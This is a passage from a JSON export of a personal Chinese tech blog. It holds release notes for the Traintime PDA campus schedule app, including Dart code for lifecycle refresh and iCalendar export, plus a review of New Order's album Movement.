id=\"数据来源一览\"\u003e数据来源一览\u003c/h3\u003e\n\u003cp\u003e这些数据来源,为了保证编程容易和单例模式,使用了\u003ccode\u003eGetX\u003c/code\u003e里面的\u003ccode\u003eGetController\u003c/code\u003e控制器。使用\u003ccode\u003eGet.put()\u003c/code\u003e来在程序里面任意时候调用\u003cstrong\u003e关于这个数据的唯一实例\u003c/strong\u003e。\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth\u003e名称\u003c/th\u003e\n\u003cth\u003e控制器名称\u003c/th\u003e\n\u003cth\u003e获取日程接口\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd\u003e课程表\u003c/td\u003e\n\u003ctd\u003eClassTableController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getArrangementOfDay(DateTime timeToQuery)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e考试信息\u003c/td\u003e\n\u003ctd\u003eExamController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getExamOfDate(DateTime now)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003e物理实验信息\u003c/td\u003e\n\u003ctd\u003eExperimentController\u003c/td\u003e\n\u003ctd\u003e\u003ccode\u003eList\u0026lt;HomeArrangement\u0026gt; getExperimentOfDay(DateTime now)\u003c/code\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"桌面数据刷新进程\"\u003e桌面数据刷新进程\u003c/h3\u003e\n\u003cp\u003e这里的代码涉及“后台登陆刷新功能”,是 PR 来的功能。\u003c/p\u003e\n\u003cp\u003e在用户刷新主页信息的时候,或者从别处回到本程序主页的时候,日程数据就会刷新。这里简单涉及到了\u003ccode\u003eAppLifecycleListener\u003c/code\u003e,侦测生命周期的东西,详情可以看\u003ca class=\"link\" href=\"https://zhuanlan.zhihu.com/p/651402152\" target=\"_blank\" rel=\"noopener\"\n \u003e这个链接\u003c/a\u003e。在本程序中,我们需要侦测\u003ccode\u003eresumed\u003c/code\u003e状态,也就是前台运行状态。我们通过重写\u003ccode\u003edidChangeAppLifecycleState\u003c/code\u003e来侦测。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003edidChangeAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eAppLifecycleState\u003c/span\u003e \u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edidChangeAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estate\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eAppLifecycleState\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eresumed\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eupdateCurrentData\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"windows-和-linux-构建测试\"\u003eWindows 和 Linux 构建测试\u003c/h2\u003e\n\u003cp\u003e这个想法来自于社区,我本身是没有考虑的。这就导致很多代码可能需要小改,因为我只考虑了手机和平板。所以,目前我只是发行了测试版,希望随着时间能够有所提升。\u003c/p\u003e\n\u003cp\u003e目前遇到的问题有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e通知桌面端做不到\u003c/li\u003e\n\u003cli\u003eLinux 转码问题(已经解决)\u003c/li\u003e\n\u003cli\u003eWindows 日历输出有问题(已经解决)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e无论如何,构建都是相对直接的:安装好环境,直接构建。构建后的文件直接打包,按照绿色软件处理。\u003c/p\u003e\n\u003ch2 id=\"一些乱七八糟的玩意\"\u003e一些乱七八糟的玩意\u003c/h2\u003e\n\u003ch3 id=\"关于开源的想法\"\u003e关于开源的想法\u003c/h3\u003e\n\u003cp\u003e我对软件,按照开源和开发者,这么看:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e个人开发的开源软件或半开源软件 \u0026gt; 集体开发的开源软件 \u0026gt; 个人开发的闭源软件 \u0026gt; 集体开发的半开源软件 \u0026gt; 集体开发的闭源软件\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e其中,半开源软件请参考 \u003ca class=\"link\" href=\"https://f-droid.org/zh_Hans/docs/Anti-Features/\" target=\"_blank\" rel=\"noopener\"\n \u003eFDroid 的负面特征定义\u003c/a\u003e。显然我的软件属于半开源软件,我这个软件实质上模拟了你在浏览器中,对学校后端的访问。\u003c/p\u003e\n\u003cp\u003e实际上软件的开源与否,并不重要,重要的是软件本身能不能很好用,而按照我的经验,软件的好用也可以这么排序,尤其是手机端应用()\u003c/p\u003e\n\u003cp\u003e所以,我虽然经常说开源很重要,但这个实际上是因为我认为个人开发者的产品更好而导致的。而开源软件放前面,是因为代码开放让人用着更舒服,可能我长期用 Linux 留下来的某种遗留症状。而且我某种意义上,真的不喜欢封闭的东西,虽然我发现大家都喜欢。\u003c/p\u003e\n\u003cp\u003e而为啥我要将这个软件按照 MPL 授权,是因为我的软件有很多可以复用的东西,比如上面我大幅度提到的课程表和那个 BothSide 。这些复用的东西我将来是打算做成程序内的 package,如果按照 GPL ,不利于传播。而我目前程序状态,如果使用 MIT 之类的,那可能会有很多的魔改版,然后闭源了。MPL 是按照文件强制开源的,就目前状态所言,假如你只是用了我的课程表代码文件,那么,你只需要开源课程表代码文件+你对这个代码的修改,就好了。\u003c/p\u003e\n\u003ch3 id=\"关于上架-ios\"\u003e关于上架 iOS\u003c/h3\u003e\n\u003cp\u003e目前我打算这个版本尝试申请 Testflight。据我所知,至少有三个组+两个人也在写这个东西,我无论如何也得打出去第一炮。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里我无端想到了《东周列国春秋篇》电视剧里面的要离。\u003c/p\u003e\n\u003cp\u003e中学学过“专诸刺王僚,要离刺庆忌”,不知道咋回事。看了电视剧才知道,他为了出名,壮士断腕。吴王阖闾说:“你是要名,还是要家?”结果就不必说了……\u003c/p\u003e\n\u003cp\u003e我现在也有点那啥,我为了这玩意,已经砸进去很多了。我这辈子都没一次性花这么多钱,现在我不上架,真对不住那么钱了。但上架了话,真的会有那么多人用嘛?\u003c/p\u003e\n\u003cp\u003e我这玩意,真要跟电表,跟其他原生,可以说是被爆打。也许就真的只是“开源+第一个上架”?开源这年头算毛线的优势?\u003c/p\u003e\n\u003cp\u003e写这个程序有一段时间,我一直在想这件事,不过现在释然了。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e本来我是不想现在就上架 App Store,但是电表突然上架了。虽然目前功能少,但着实打了一惊,我也顾不上我软件的不成熟,也上架了。看来大家还是很认可我的软件,所以感觉可以。我也很感谢很多帮我的人,无论是画吉祥物的,还是帮我发传单的,给我 UI 设计提出建议的。\u003c/p\u003e\n\u003cp\u003e之前我好像说过学校“揭榜”的事情,这玩意确实有点用,就是在面试时候问项目背景的时候,至少能扯到学校:-P\u003c/p\u003e\n\u003cp\u003e但是到现在都没消息,还来个验证码,我********\u003c/p\u003e\n\u003ch3 id=\"某日本玩意相关\"\u003e某日本玩意相关\u003c/h3\u003e\n\u003cp\u003e日本人能好好说话吗,最近看真寻酱动画片。里面的台词我听着很耳熟啊,超市真就发音苏坡马特(supermarket),微笑也发音和斯迈尔里(smiley)神似,真离谱。\u003c/p\u003e\n\u003cp\u003e(此处狗头保命,顺便说明我不是男娘,为啥最近男娘这么流行)\u003c/p\u003e\n\u003ch3 id=\"移除体育打卡功能\"\u003e移除体育打卡功能\u003c/h3\u003e\n\u003cp\u003e我还是那句话,强迫人的东西,就算是好事,也是能给败坏了。但是我也不建议花钱刷,因为这种技术的玩意花钱我觉得真不合适,就跟刷机包要花钱买一样。不过我进一步想,技术开放的前提是很多人都能有能力,有时间来实践,而且至少有一点感恩心啥的。很显然不是所有人都这样,感恩心不用说,全是反例子。要不然当初为啥搞 LSPosed 那几大位心累如此呢?而前两个:有能力有时间,更重要的是有时间。就现在课程压力大+竞争压力大,我估计能有时间折腾的,不是满绩点和各种比赛都能玩的开,就是光搞兴趣爱好而把学业荒废的?\u003c/p\u003e\n\u003cp\u003e无论如何,现在这个功能被体育课程信息窗口查看。也许将来可以日程表信息可以包括这个?我暂时没想好。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/traintime-pda-v1.1.0-release-note.html"},{"title":"New Order - Movement 听后感","time":"2024-01-02T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2024/01/03/eWF2L5gNm7BR19t.jpg\" alt=\"Featured image of post New Order - Movement 听后感\" /\u003e\u003cp\u003eA defination about Movement: go forward.\u003c/p\u003e\n\u003cp\u003e首先介绍 New Order 新订单乐队,实际上就是没了 Ian Curtis 之后的 Joy Division。这张是弹贝斯的和弹吉他的献声,因为这时候还没确定主唱。录制途中拉了个女生来弹吉他弹琴,不过对专辑风格影响不大。\u003c/p\u003e\n\u003cp\u003e这张专辑给人最强大的感受就是强大的分离感,他们自从 Joy Division 就由制作人奠定的风格。要说之前两张专辑的分离感是搭配歌曲主题的虚无,这回搭配的就是真正的悲伤了,情感更加真实了。很明显能够渲染一堆小伙子没了要好朋友,心中的无助和空虚。甚至在第二部分,有两首他们都忍不下去了,直接就表露了:I.C.B 和 The Him。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eThe Him 第一乐章,渣翻\n\nSome days you waste your life away\n还记得咱们当时一起消磨时光的时候\n\n\n\nThese times I find no words to say\n现在想实在不知道该说啥\n\n\nA crime I once committed failed me\n当时我做错的事,现在后悔莫及\n\n\nToo much of heaven\u0026#39;s eyes I saw through\n我已经看到了天堂的样子\n\n\nOnly when meanings have no reason\n直到有一天,什么都没有关系了\n\n\nThey\u0026#39;re taken beyond your sense of right (And wrong)\n他们带走了你的优点(和缺点)\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这种分离感是吸引我听 Joy Division 的一大原因,我到现在都想不出来他们是咋混出这种感觉的,虽然他们并不喜欢\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e自然,这张专辑的主题是分离感和对朋友故去的怀念。当然,要仅仅是怀念,这张专辑并没有那么动听。我现在不太想听 The Wall,因为虽然这张专辑讲了一个虽然能够引起大多数有悲伤童年的人们的故事,但是没有多少让人前行的力量,听完非常容易内耗。我们看看这张专辑的前行力量:电子乐。\u003c/p\u003e\n\u003cp\u003e这张专辑的电子乐用的可以说恰到好处。首先是电子鼓,很有节奏感,没有普通的鼓那么刺耳沉重,在沉重的主题上给人一种相对轻松的感觉。我对节奏最近比较在意,在这方面听的比较在意,所以觉得可以。当然,这方面最主要的还是一种实验性的东西。比如第一面的第二首 Truth ,上来就是鼓机,奠定了全曲的节奏基调。\u003c/p\u003e\n\u003cp\u003e这张专辑的贝斯调音很有跃动感,我也很喜欢。上来第一首 Dreams Never Ends 的贝斯弹奏很抓耳。顺便这个曲子是全专辑唯一一首“比较传统的”摇滚歌曲。The Chosen Times 算是贝斯和鼓声在节奏方面合作很好的体现了。\u003c/p\u003e\n\u003cp\u003e还有很多的歌曲,在末尾和中间都会有一些合成音乐的实验。这里我不举例了,各位自己听听看吧。\u003c/p\u003e\n\u003cp\u003e我们回到恰到好处的意思,他们仅仅是稍微使用合成器,给歌曲做配套。并没有让合成器成为歌曲的主导因素,这点我比较喜欢。这里可以提出这张专辑的一个反例,Doubts Even Here。全曲大段都是合成器的弦乐声,加上机械的鼓(不是鼓机),唱歌的也够有气无力的。最后还来个女的在念经,简直是糟糕催眠曲。\u003c/p\u003e\n\u003cp\u003e上面我提到了唱歌有气无力,这算是这张专辑的一大槽点了。有些时候他们不是在唱歌,而是在感情不深刻地进行诗朗诵。要是歌曲节奏感强,或者感情深刻的话,这也没啥问题,毕竟有点衬托。要是歌曲比较没力气,比如上面提到那首 Doubts Even Here ,那就让人听着很疲劳。这点实际上可以稍微理解一下,他们之前都没唱歌的经历,现在属于突然被顶上去被迫营业,都没适应过来。\u003c/p\u003e\n\u003cp\u003e最后说一点,这张专辑是他们首次使用合成器。他们发现这玩意用起来很合心意,就开始做电子舞曲了。下一张叫 Power, Corruption \u0026amp; Lies,名字高大上,歌曲也够合大众了。他们没有被以前的痛苦围住,能顺应市场,也算是励志故事了。还有那个半截拉进来的女生,实际上是鼓手的女朋友。这张专辑发布于 1981 年,他们十好几年后才结婚,这波算不算拉扯呢。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/movement-review.html"},{"title":"Traintime PDA v0.4.1 发行简记","time":"2023-11-02T00:00:00Z","content":"\u003cimg src=\"https://legacy.superbart.top/picture/xdyou/homepage.jpg\" alt=\"Featured image of post Traintime PDA v0.4.1 发行简记\" /\u003e\u003ch1 id=\"traintime-pda-041-发行简记\"\u003eTraintime PDA 0.4.1 发行简记\u003c/h1\u003e\n\u003cp\u003e先写个输出 iCalendar 功能吧,小部件我先慢慢写\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e说是发行简记,实际上我要写很多的技术相关细节。\u003c/p\u003e\n\u003cp\u003e可以加入我程序的 \u003ca class=\"link\" href=\"https://testflight.apple.com/join/pLKe5B4q\" target=\"_blank\" rel=\"noopener\"\n \u003eTestflight\u003c/a\u003e 来尝鲜。\u003c/p\u003e\n\u003ch2 id=\"新功能和相关\"\u003e新功能和相关\u003c/h2\u003e\n\u003cp\u003e支持 iCalendar 输出课程表信息和物理实验信息,\u003ca class=\"link\" href=\"https://www.bilibili.com/video/BV1yC4y1n7Q8\" target=\"_blank\" rel=\"noopener\"\n \u003e解释使用视频在此\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003eiOS 用户建议配合这个\u003ca class=\"link\" href=\"https://www.icloud.com/shortcuts/6f951baebc534991868cf63958189030\" target=\"_blank\" rel=\"noopener\"\n \u003e快捷方式\u003c/a\u003e使用。\u003c/p\u003e\n\u003cp\u003e加上了课程调整信息的处理。\u003c/p\u003e\n\u003ch2 id=\"关于技术相关\"\u003e关于技术相关\u003c/h2\u003e\n\u003ch3 id=\"围绕介绍-icalendar-的英语写作练习\"\u003e围绕介绍 iCalendar 的英语写作练习\u003c/h3\u003e\n\u003cp\u003eInitally I want to output classtable schedule to the system calendar, but it isn\u0026rsquo;t good. So far, it outputs the class schedule one by one, from the first class of the first week to the last class of the last week. I have to let users agree serveral times to import all class schedules, so ummm\u0026hellip;\u003c/p\u003e\n\u003cp\u003eSo I use iCalendar, a standard to transfer schedules. It can transfer the name of your schedule, the time range (start time and end time), and lots of additional infos, including email, alert, personnel etc.\u003c/p\u003e\n\u003cp\u003eFor the class schedules, aka classtable, we only care about the place, time, and the name. According to the \u003ca class=\"link\" href=\"https://blog.woooo.tech/posts/about_linux_desktop/\" target=\"_blank\" rel=\"noopener\"\n \u003e\u003cstrong\u003eCYPER GOD OF OUR SCHOOL\u003c/strong\u003e\u003c/a\u003e, we do not need a \u0026lsquo;iCalender parser library\u0026rsquo;, just treat it as a plain text file with mime-type \u003ccode\u003etext/calendar\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eI will introduce a very simple iCalendar file here, and that\u0026rsquo;s not all about it.\u003c/p\u003e\n\u003cp\u003eThe whole iCalendar file is covered by \u003ccode\u003eBEGIN:VCALENDAR\u003c/code\u003e and \u003ccode\u003eEND:VCALENDAR\u003c/code\u003e. While every schedule is covered by \u003ccode\u003eBEGIN:VEVENT\u003c/code\u003e and \u003ccode\u003eEND:VEVENT\u003c/code\u003e. For each schedule, we can input the following attributes:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSUMMARY\u003c/code\u003e: A quickview of the schedule. In our case, the class\u0026rsquo;s name and place.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDESCRIPTION\u003c/code\u003e: Detail description of the schedule. We can put teacher info in here.\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDTSTART\u003c/code\u003e and \u003ccode\u003eDTEND\u003c/code\u003e: The start time and the end time of the schedule. Notice we need to follow the time pattern \u003ccode\u003eyyyyMMddTHHmmss\u003c/code\u003e, a description is at \u003ca class=\"link\" href=\"https://icalendar.org/iCalendar-RFC-5545/3-3-5-date-time.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e and \u003ca class=\"link\" href=\"https://pub.dev/documentation/intl/latest/intl/DateFormat-class.html\" target=\"_blank\" rel=\"noopener\"\n \u003ehere\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFinally, a refrence of my code about output the iCalendar string.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// lib/page/classtable/classtable_state.dart line 47-72\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e/// Generate icalendar file string. \n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eiCalenderStr\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VCALENDAR\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"k\"\u003ein\u003c/span\u003e \u003cspan class=\"n\"\u003etimeArrangement\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003esummary\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SUMMARY:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e@\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edescription\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;DESCRIPTION:课程名称:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003eclassDetail\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e; 上课地点:\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eclassroom\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;待定\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eweekList\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econtinue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e \u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eJiffy\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eparseFromDateTime\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estartDay\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nl\"\u003eweeks:\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nl\"\u003edays:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eday\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003evevent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;BEGIN:VEVENT\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"si\"\u003e$\u003c/span\u003e\u003cspan class=\"n\"\u003esummary\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003estartTime\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etime\u003c/span\u003e\u003cspan class=\"p\"\u003e[(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan 